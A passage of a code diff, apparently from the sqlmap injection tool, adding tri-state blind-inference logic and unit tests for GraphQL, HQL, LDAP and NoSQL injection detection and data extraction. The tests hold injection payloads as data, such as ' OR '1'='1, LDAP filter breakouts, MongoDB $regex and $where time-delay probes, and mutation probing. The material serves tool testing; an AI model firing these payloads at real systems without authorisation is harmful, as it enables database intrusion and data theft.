a page as NOT a valid boolean template, so a payload that merely + trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL- + injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL.""" + page = page or "" + return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page)) + + +# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the +# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is +# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means +# "really empty", and they must stay distinguishable in the output. +INCONCLUSIVE_MARK = "" + + +class InconclusiveError(Exception): + """Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value + extractors catch it to ABORT the current value (return what was recovered so far, marked + incomplete) instead of substituting a semantic False - which would corrupt a length, pick the + wrong half of a bisection, or truncate enumeration.""" + + +class Decision(object): + """Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an + ambiguous comparison (equally close to both models, close to neither, or a transport/blocked + anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a + value, pick the wrong half of a bisection or truncate enumeration.""" + TRUE = "TRUE" + FALSE = "FALSE" + INCONCLUSIVE = "INCONCLUSIVE" + + +def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Classify a blind-inference response against the two calibrated models, returning a Decision. + TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the + FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to + neither (so the caller can retry or abort rather than guess).""" + if page is None: + return Decision.INCONCLUSIVE + simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page) + if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse: + return Decision.TRUE + if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue: + return Decision.FALSE + if (simTrue - simFalse) >= margin: + return Decision.TRUE + if (simFalse - simTrue) >= margin: + return Decision.FALSE + return Decision.INCONCLUSIVE + + +def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True): + """Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache- + bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a + 0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after + the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than + corrupt it), else return False.""" + d = decide(page, trueModel, falseModel, margin) + tries = 0 + while d is Decision.INCONCLUSIVE and tries < retries: + page = resend() + if page is None: + break + d = decide(page, trueModel, falseModel, margin) + tries += 1 + if d is Decision.INCONCLUSIVE and abort: + raise InconclusiveError() + return d is Decision.TRUE + + +def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry). + A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a + changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit.""" + return decide(page, trueModel, falseModel, margin) is Decision.TRUE + + +def userOracleActive(): + """True when the user supplied an explicit true/false response signal (--string / --not-string / + --regexp) that the non-SQL techniques should honor instead of relying on raw page similarity.""" + return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None)) + + +def userDecision(page): + """Classify a response with the user's explicit oracle (--string / --not-string / --regexp), + returning True/False, or None when no override is set (caller falls back to content comparison). + Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available. + + This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the + same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio.""" + page = page or "" + if getattr(conf, "string", None): + return conf.string in page + if getattr(conf, "notString", None): + return conf.notString not in page + if getattr(conf, "regexp", None): + return re.search(conf.regexp, page) is not None + return None diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 5564393a602..057b6d7b6f0 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -264,15 +264,63 @@ def tearDown(self): def test_boolean_detected(self): slot = _slot("query", "Query", "user", "username", "string") - oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") self.assertIsNotNone(oracleType) self.assertIn("boolean-based", oracleType) def test_numeric_skipped(self): slot = _slot("query", "Query", "byId", "id", "numeric") - oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") self.assertIsNone(oracleType) + def test_graphql_two_true_transport_failures_do_not_confirm(self): + # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be + # read as a reproducible page that "differs" from false (the classic fabricated confirmation) + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return None, 0 # transport failure on the true payload + return NOMATCH, 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_false_page_is_replayed(self): + # a FALSE page that does not reproduce (jitter) must not establish an oracle + state = {"n": 0} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return MATCH, 200 + state["n"] += 1 + if state["n"] % 2: # false response is unstable (jitter) + return '{"data":{"user":{"id":1,"name":"alpha"}}}', 200 + return '{"data":{"user":{"totally":"different","shape":"here","x":12345,"y":67890}}}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_resolver_error_false_is_not_a_boolean_oracle(self): + # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), + # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean + # oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair. + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: # true -> real rows + return MATCH, 200 + return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_has_errors_and_alias_errored(self): + self.assertTrue(gi._hasErrors('{"data":{"user":null},"errors":[{"message":"x"}]}')) + self.assertFalse(gi._hasErrors('{"data":{"user":null}}')) + # an alias with an error path, or an absent alias, is errored/unknown + self.assertTrue(gi._aliasErrored('{"data":{"a0":null},"errors":[{"message":"e","path":["a0"]}]}', "a0")) + self.assertTrue(gi._aliasErrored('{"data":{"a1":true}}', "a0")) # a0 absent + self.assertFalse(gi._aliasErrored('{"data":{"a0":true}}', "a0")) + class TestGraphqlErrorDetection(unittest.TestCase): """Error-based detection via mock oracle""" @@ -294,9 +342,30 @@ def tearDown(self): def test_error_detected(self): slot = _slot("query", "Query", "user", "username", "string") - oracleType, detail = gi._detectError(slot, "http://test/graphql") + oracleType, detail, _win = gi._detectError(slot, "http://test/graphql") self.assertEqual(oracleType, "error-based") + def test_report_shows_winning_error_payload_not_boolean(self): + # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error + # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the + # generic ' OR '1'='1 boolean payload. + def fakeSend(endpoint, query, variables=None): + if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle + return NOMATCH, 200 + if "'" in query: # error payloads (', '', '") -> DB error + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + reports = [] + gi.conf.dumper = type("D", (), {"singleString": lambda self, m: reports.append(m)})() + gi.conf.beep = False + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _oracle, _detail = gi._testSlot(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + report = next(r for r in reports if "Payload:" in r) + self.assertNotIn("'1'='1", report) # not the boolean payload + self.assertIn("error-based", report) + class TestGraphqlParseRows(unittest.TestCase): """JSON data row parsing for in-band dumps""" @@ -443,8 +512,23 @@ def test_sqlite_row_handles_nulls(self): d = gi.DIALECTS["SQLite"] sql = d.row(["name", "surname"], "users", 3) self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT - self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) - self.assertIn("FROM users", sql) + self.assertIn('COALESCE(CAST("name" AS TEXT),\'NULL\')', sql) # column identifier quoted + self.assertIn('FROM "users"', sql) # table identifier quoted + + def test_row_quotes_reserved_and_mixedcase_identifiers(self): + # a reserved word / mixed-case / spaced / quote-bearing name must be quoted, not interpolated raw + d = gi.DIALECTS["PostgreSQL"] + sql = d.row(["order", 'we"ird'], "myTable", 0) + self.assertIn('CAST("order" AS TEXT)', sql) + self.assertIn('CAST("we""ird" AS TEXT)', sql) # embedded quote doubled + d2 = gi.DIALECTS["Microsoft SQL Server"] + self.assertIn("[order]", d2.row(["order"], "dbo.t", 0)) + + def test_pgsql_schema_qualified_from(self): + # a "schema.table" catalog name qualifies AND quotes both parts for the dump FROM + d = gi.DIALECTS["PostgreSQL"] + self.assertIn('FROM "secret"."users"', d.row(["id"], "secret.users", 0)) + self.assertEqual(d.fromIdent("secret.users"), '"secret"."users"') def test_mysql_uses_sleep_delay(self): d = gi.DIALECTS["MySQL"] @@ -529,7 +613,7 @@ def _mockOracle(target): tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), - row=None) + row=None, fromIdent=lambda table: table) def _value(cond): pos = None @@ -579,6 +663,43 @@ def test_batched_empty(self): dialect, truth, truthBatch = _mockOracle("") self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") + def test_inconclusive_truth_aborts_value_not_fabricates(self): + # a persistently-inconclusive oracle must abort the value (None), never coerce to false bits + dialect = gi.DIALECTS["SQLite"] + + def truth(cond): + raise gi.InconclusiveError() + + def truthBatch(conds): + raise gi.InconclusiveError() + + self.assertIsNone(gi._inferExpr(truth, dialect, "EXPR")) + self.assertIsNone(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR")) + + def test_make_oracle_batch_transport_failure_raises_not_false(self): + # a FAILED batch request must raise InconclusiveError, NOT decay into a list of False bits + # (which would silently corrupt every value extracted through the batch path) + slot = _slot("query", "Query", "user", "username", "string") + MATCHV = '{"data":{"user":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"user":null}}' + saved = gi._gqlSend + try: + def fakeSend(endpoint, query, variables=None): + if "1=1" in query: + return MATCHV, 200 + if "1=2" in query: + return NOMATCHV, 200 + return MATCHV, 200 + gi._gqlSend = fakeSend + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + + # now make the batch endpoint fail transport -> must raise, not return [False, ...] + gi._gqlSend = lambda endpoint, query, variables=None: (None, 0) + self.assertRaises(gi.InconclusiveError, truthBatch, ["1=1", "1=2"]) + finally: + gi._gqlSend = saved + class TestGraphqlDumpTable(unittest.TestCase): """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" @@ -591,7 +712,7 @@ def test_dump_table(self): "(SELECT COUNT(*) %s)" % colFrom: "2", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", - "(SELECT COUNT(*) FROM users)": "2", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", d.row(["id", "name"], "users", 0): "1~~~null", d.row(["id", "name"], "users", 1): "2~~~luther", } @@ -669,6 +790,70 @@ def test_nested_selection_set(self): self.assertEqual(sels[0][1], "login") +class TestGraphqlMutationPlanner(unittest.TestCase): + """Mutation slots are auto-tested (read-like ranked first), impact-classified, dry-run preferred.""" + + def test_impact_classification(self): + self.assertEqual(gi._mutationImpact("login"), "read-like") + self.assertEqual(gi._mutationImpact("verifyToken"), "read-like") + self.assertEqual(gi._mutationImpact("createUser"), "write-like") + self.assertEqual(gi._mutationImpact("deletePost"), "write-like") + self.assertEqual(gi._mutationImpact("frobnicate"), "unknown") + + def test_mixed_names_are_write_like_not_read_like(self): + # a read-like substring must NOT mask a write token in the same (camelCase/snake) name + for name in ("updateUserPreview", "previewDeleteUser", "getAndDeleteUser", "createSession", + "validateAndRemoveUser", "preview_delete_user", "get-and-delete-user"): + self.assertEqual(gi._mutationImpact(name), "write-like", name) + # genuine read-like names stay read-like + for name in ("login", "verifyToken", "previewReport", "checkSession", "fetchToken"): + self.assertEqual(gi._mutationImpact(name), "read-like", name) + + def test_ranking_puts_read_like_first_write_like_last(self): + slots = [_slot("mutation", "Mutation", "deleteUser", "id"), + _slot("mutation", "Mutation", "frobnicate", "x"), + _slot("mutation", "Mutation", "login", "username")] + ranked = [s.fieldName for s in gi._rankMutations(slots)] + self.assertEqual(ranked[0], "login") # read-like first + self.assertEqual(ranked[-1], "deleteUser") # write-like last + + def test_write_like_mutation_not_auto_enumerated(self): + # a write-like mutation is NOT eligible as the bulk-enumeration oracle (non-persistence + # unverified), whereas a read-like one is. This is the gate graphqlScan applies. + createSlot = _slot("mutation", "Mutation", "createUser", "name") + loginSlot = _slot("mutation", "Mutation", "login", "username") + self.assertFalse(gi._mutationImpact("createUser") == "read-like" or gi._dryRunVerified(createSlot, "http://x")) + self.assertTrue(gi._mutationImpact("login") == "read-like" or gi._dryRunVerified(loginSlot, "http://x")) + self.assertFalse(gi._dryRunVerified(createSlot, "http://x")) # no automatic non-persistence proof + + def test_mutation_oracle_is_never_batched(self): + # a mutation must NOT return truthBatch: aliased batching executes the write resolver once per + # alias (many writes per request). A boolean-diverging mutation slot yields (truth, None). + MATCHV = '{"data":{"createUser":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"createUser":null}}' + saved = gi._gqlSend + try: + gi._gqlSend = lambda endpoint, query, variables=None: (MATCHV if "1=1" in query else NOMATCHV, 200) + slot = _slot("mutation", "Mutation", "createUser", "name", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertIsNone(truthBatch) # batching disabled for mutations + finally: + gi._gqlSend = saved + + def test_dryrun_flag_forced_true_even_when_optional(self): + # an optional Boolean 'dryRun' sibling is normally omitted; for a mutation probe it is forced + # true so the write does not commit + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("dryRun", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("mutation", "Mutation", "createUser", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "x") + self.assertIn("dryRun:true", q) + + class TestGraphqlSiblingDefaults(unittest.TestCase): """Required sibling arguments must use their real type, not be hardcoded as strings""" @@ -684,8 +869,9 @@ def test_numeric_sibling_not_quoted(self): self.assertIn("limit:0", q) self.assertNotIn('limit:"0"', q) - def test_boolean_sibling_gets_default_string(self): - """field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy""" + def test_boolean_sibling_uses_native_syntax(self): + """field(name: String!, active: Boolean!) -- a required Boolean renders as the native `false` + literal, NOT the quoted string "x" (which would make the whole query fail to parse)""" allArgs = [ ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), @@ -693,7 +879,20 @@ def test_boolean_sibling_gets_default_string(self): slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", "OBJECT", "User", "{ id }") q = gi._buildQuery(slot, "test") - self.assertIn('active:"x"', q) + self.assertIn('active:false', q) + self.assertNotIn('active:"x"', q) + + def test_optional_sibling_is_omitted(self): + """field(name: String!, verbose: Boolean) -- an OPTIONAL sibling with no default is omitted, + not filled with a bogus sentinel that would invalidate the query""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("verbose", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertNotIn("verbose", q) class TestGraphqlScalarReturnSelection(unittest.TestCase): diff --git a/tests/test_hql.py b/tests/test_hql.py index e594b82988b..0712b5ce04e 100644 --- a/tests/test_hql.py +++ b/tests/test_hql.py @@ -88,6 +88,39 @@ def test_no_detection_when_static(self): template, _, _ = hql._detectBoolean("GET", "name") self.assertIsNone(template) + def test_confirm_hql_battery_on_orm(self): + # a Hibernate back-end evaluates str(): str(1)='1' true, str(1)='2' false -> diverges -> HQL + # confirmed with no error leakage + def mock(place, parameter, value): + return "
row
" if "str(1)='1'" in value else "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertTrue(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_plain_sql(self): + # a raw-SQL back-end has no str() function -> the payload ERRORS on both sides -> no divergence + def mock(place, parameter, value): + if "str(" in value: + return "You have an error in your SQL syntax; no such function: str" + return "
row
" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_sqlite_flexible_cast(self): + # SQLite accepts arbitrary CAST type names, so CAST(1 AS string)='1' is TRUE on plain SQLite; + # the battery must NOT use cast aliases and must NOT confirm HQL here (str() has no SQLite fn -> + # errors -> no divergence). This is the exact P0-3 false-positive being guarded against. + def mock(place, parameter, value): + if "str(" in value: # SQLite: no such function -> error + return "SQLite error: no such function: str" + if "CAST(1 AS string)='1'" in value: # SQLite WOULD accept this as true... + return "
row
" + return "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) # ...but the battery no longer uses casts + def _recordOracle(record, entity="Member"): """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates @@ -150,6 +183,16 @@ def test_infer_numeric_via_cast(self): def test_infer_absent_attribute_empty(self): self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + def test_infer_inconclusive_aborts_value(self): + """A truth() that stays INCONCLUSIVE must abort the value (return None) rather than emit a + length/char chosen from an ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + def inconclusiveTruth(predicate): + raise InconclusiveError() + + self.assertIsNone(hql._inferValue(inconclusiveTruth, "Member", "name", "id")) + def _multiOracle(records): """Row-aware oracle: honors the "_h2. > " walk bound by selecting the diff --git a/tests/test_ldap.py b/tests/test_ldap.py index 469f4fed223..890bebe445c 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -281,6 +281,35 @@ def fakeSend(place, param, value): self.assertEqual(breakout, "*)") self.assertIn("*)(objectClass=*", bypass) + def test_ldap_breakout_uses_matched_false_filter(self): + # the false control must share the true control's breakout+attribute+open-fragment shape, + # differing ONLY in the assertion value: (attr=*) vs (attr=). It must NEVER be a + # bare original+SENTINEL string (an unmatched control a validation layer could diverge on). + sent = [] + + def spy(place, param, value): + sent.append(value) + return '{"count":15}' if value.startswith("x*)(objectClass=*") else '{"count":0}' + + ldap._send = spy + from lib.core.enums import PLACE + template, _, _ = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertTrue(any(v.endswith("=%s" % SENTINEL) and "(" in v for v in sent), + "no syntax-matched false LDAP filter control was sent: %r" % sent[:8]) + self.assertNotIn("x%s" % SENTINEL, sent) # the discredited bare original+SENTINEL is gone + + def test_ldap_403_is_inconclusive(self): + # a 403 (WAF / rate-limit) must NOT enter the oracle as a page - _send returns None + from lib.request.connect import Connect + from lib.core.enums import PLACE + orig = Connect.getPage + Connect.getPage = staticmethod(lambda **kw: ("blocked by WAF", {}, 403)) + try: + self.assertIsNone(ldap._send(PLACE.GET, 'q', 'x')) + finally: + Connect.getPage = orig + class TestExtraction(unittest.TestCase): def test_inferAttribute_simple(self): @@ -311,6 +340,47 @@ def test_inferAttribute_email(self): value = ldap._inferAttribute(oracle, builder, "mail") self.assertEqual(value, "admin@example.com") + def test_inferAttribute_inconclusive_aborts_not_truncates(self): + """An oracle that stays INCONCLUSIVE must abort the attribute (return None) rather than + truncate it to whatever prefix was recovered before the ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + builder = ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(InconclusiveOracle(), builder, "uid")) + + +class TestMultiValueDump(unittest.TestCase): + """Multi-valued LDAP attributes must NOT be 'enumerated' via entry-scoped negation (which excludes + the whole entry and mixes entries) - recover ONE matching value and label it honestly.""" + + def setUp(self): + self._exists, self._infer, self._dumpTable = ldap._exists, ldap._inferAttribute, ldap._dumpTable + + def tearDown(self): + ldap._exists, ldap._inferAttribute, ldap._dumpTable = self._exists, self._infer, self._dumpTable + + def test_reports_one_value_and_never_excludes(self): + captured = {} + exclusionsSeen = [] + + ldap._exists = lambda oracle, builder, attr, **kw: attr == "member" + def fakeInfer(oracle, builder, attr, constraint=None, exclusions=None, **kw): + exclusionsSeen.append(exclusions) + return "cn=alice,dc=x" if attr == "member" else None + ldap._inferAttribute = fakeInfer + ldap._dumpTable = lambda title, cols, rows: captured.update(title=title, cols=cols, rows=rows) + + dumped = ldap._dumpMultiValues(object(), ldap._ProbeBuilder(")"), "GET", "q") + self.assertTrue(dumped) + self.assertEqual(captured["rows"], [("cn=alice,dc=x",)]) # exactly one value + self.assertIn("one matching value", captured["title"].lower()) # honest label + # the broken exclusion walk must be gone: _inferAttribute is called WITHOUT exclusions + self.assertTrue(all(e in (None, [], ()) for e in exclusionsSeen)) + class TestIsError(unittest.TestCase): def test_isError_positive(self): diff --git a/tests/test_nosql.py b/tests/test_nosql.py index d0987272669..952af925ee9 100644 --- a/tests/test_nosql.py +++ b/tests/test_nosql.py @@ -11,6 +11,7 @@ """ import re +import time import unittest from _testutils import bootstrap @@ -54,6 +55,10 @@ def _mongo(place, parameter, op, value, isArray=False): def _es(place, parameter, value): if value == "*": return MATCH + if "AND NOT" in value: # Lucene (rand AND NOT rand) -> nothing + return NOMATCH + if value.startswith("(NOT ") and value.endswith(")"): # Lucene (NOT rand) -> everything + return MATCH if value == ni.NOSQL_SENTINEL: return NOMATCH if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored @@ -87,6 +92,25 @@ def test_not_injectable(self): ni._fetch = lambda *args, **kwargs: MATCH self.assertIsNone(ni._detectMongo("GET", "password")) + def test_resolve_vector_carries_false_model(self): + # the LIVE vector must carry a calibrated false model so extraction is dual-model, not one-sided + vector = ni._resolve("GET", "password", "password") + self.assertIsNotNone(vector) + self.assertEqual(vector.falseModel, NOMATCH) # $in[sentinel] no-match page + + def test_dual_model_extraction_and_unrelated_page_inconclusive(self): + template = MATCH + falseModel = NOMATCH + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass, + falseModel=falseModel) + self.assertEqual(value, SECRET) + # an unrelated usable page (neither true nor false model) must be inconclusive, not a false bit + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated captcha page", "A", MATCH, NOMATCH) + class TestNoSqlElasticsearch(unittest.TestCase): def setUp(self): @@ -113,16 +137,19 @@ def test_not_injectable(self): def _cypher(place, parameter, value): - if "'1'='1" in value: - return MATCH - if "'1'='2" in value: - return NOMATCH + m = re.search(r"STARTS WITH '([^']*)'", value) # Cypher-only prefix predicate on 'ab' + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator if m: try: return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH except re.error: return NOMATCH + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH return NOMATCH @@ -239,6 +266,16 @@ def test_extract(self): charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + def test_where_delay_is_dos_bounded(self): + # the per-document busy-loop must be capped to ONE document per query (shared-scope counter), + # so a loose/unconditional condition on a large collection cannot block for docCount*timeSec. + # The condition and delay budget must still be embedded verbatim (oracle unchanged). + payload = ni._whereDelay("true") + self.assertIn("__c", payload) # shared-scope counter present + self.assertIn("__c<1", payload) # loop gated on the one-shot cap + self.assertIn("(true)", payload) # original condition preserved + self.assertIn(str(int(ni.conf.timeSec * 1000)), payload) # delay budget preserved + def _jswhere(place, parameter, value): # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint @@ -295,7 +332,7 @@ def setUp(self): names = [name for name, _ in self.DOC] values = dict(self.DOC) - def fake(place, parameter, bound, expr, threshold): + def fake(place, parameter, bound, expr, threshold, strict=False): m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) if m: index = int(m.group(1)) @@ -311,7 +348,7 @@ def tearDown(self): ni._whereField = self._orig def test_dump(self): - columns, rows = ni._whereDump("GET", "password", "", 0) + columns, rows, bound, complete = ni._whereDump("GET", "password", "", 0) self.assertEqual(columns, ["id", "username", "password", "role"]) self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) @@ -320,6 +357,88 @@ def test_empty_document(self): self.assertIsNone(ni._whereDump("GET", "password", "", 0)) +class TestNoSqlRecordBinding(unittest.TestCase): + """A whole-document dump must be flagged bound only when a unique-record constraint pins it; an + unbound dump (no distinguishing sibling) is representative, not one coherent document.""" + + def test_vector_bound_defaults_true(self): + self.assertTrue(ni.Vector("X", None, None, None).bound) + self.assertFalse(ni.Vector("X", None, None, None, bound=False).bound) + + def test_where_vector_unbound_without_sibling(self): + # single injected param, no sibling -> _constraint is "" -> $where dump is representative + ni.conf.parameters = {ni.PLACE.GET: "name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + self.assertEqual(ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d."), "") + + def test_where_vector_bound_with_sibling(self): + # a distinguishing sibling pins the record -> bound constraint is non-empty + ni.conf.parameters = {ni.PLACE.GET: "id=7&name=luther"} + ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}} + bound = ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d.") + self.assertIn("d.id=='7'", bound) + self.assertTrue(bool(bound)) + + +class TestNoSqlTriStateOracle(unittest.TestCase): + """A failed/blocked NoSQL response is UNKNOWN, retried, then aborts - never a silent false bit.""" + + def test_content_bit_retries_transient_then_recovers(self): + state = {"n": 0} + def fetch(value): + state["n"] += 1 + return None if state["n"] == 1 else "TEMPLATE" # first send fails, retry recovers + self.assertTrue(ni._contentBit(fetch, "A", "TEMPLATE")) + + def test_content_bit_persistent_failure_raises(self): + self.assertRaises(ni.InconclusiveError, ni._contentBit, lambda v: None, "A", "TEMPLATE") + + def test_content_bit_error_page_is_not_true(self): + # an error page is unusable -> retried -> InconclusiveError, never classified true/false + self.assertRaises(ni.InconclusiveError, ni._contentBit, + lambda v: "MongoServerError: unknown operator: $foo", "A", "TEMPLATE") + + def test_extract_aborts_value_on_inconclusive(self): + # a persistently failing oracle aborts the value (None), never fabricates a length/char + self.assertIsNone(ni._extract("TMPL", lambda v: None, + lambda n: "len>=%d" % n, lambda k, c: "char", truthFn=None)) + + def test_timed_bit_rejects_blocked_slow_response(self): + # a slow response that is BLOCKED (WAF/5xx) must not count as a true timing bit + self._fv = ni._fetchValue + try: + ni._lastCode = 429 + ni._fetchValue = lambda *a, **k: (time.sleep(0.01) or "") # slow but blocked (_isError via 429) + self.assertRaises(ni.InconclusiveError, ni._timedBit, "GET", "q", "payload", 0.0) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + def test_content_bit_unrelated_page_is_inconclusive_not_false(self): + # P0-2: a usable page matching NEITHER the true nor the false model is UNKNOWN, not false - + # with both models supplied it must abort (InconclusiveError), never silently return False + self.assertRaises(ni.InconclusiveError, + ni._contentBit, lambda v: "CCCCC unrelated soft-WAF page", "A", "AAAAA", "BBBBB") + + def test_content_bit_both_models_classify_true_and_false(self): + self.assertTrue(ni._contentBit(lambda v: "AAAAA", "A", "AAAAA", "BBBBB")) + self.assertFalse(ni._contentBit(lambda v: "BBBBB", "A", "AAAAA", "BBBBB")) + + def test_detect_where_rejects_blocked_slow_responses(self): + # P0-2: delayed BLOCKED responses (zero usable) must NOT establish a $where timing threshold + self._fv = ni._fetchValue + try: + ni.conf.timeSec = 5 + ni.conf.parameters = {ni.PLACE.GET: "q=1"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "1"}} + ni._lastCode = 503 + ni._fetchValue = lambda *a, **k: (time.sleep(0.02) or None) # slow AND blocked/failed + self.assertIsNone(ni._detectWhere("GET", "q")) + finally: + ni._fetchValue = self._fv + ni._lastCode = None + + class TestNoSqlEnumDump(unittest.TestCase): """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" @@ -327,11 +446,13 @@ class TestNoSqlEnumDump(unittest.TestCase): def setUp(self): self._ef, self._fv = ni._enumField, ni._fetchValue - ni._fetchValue = lambda *args, **kwargs: "Welcome" # non-error single-record template + # true (any-match '.*') vs false (never-match sentinel) template must be SEPARABLE so _enumDump + # can calibrate both models; a constant page would (correctly) disable the dump + 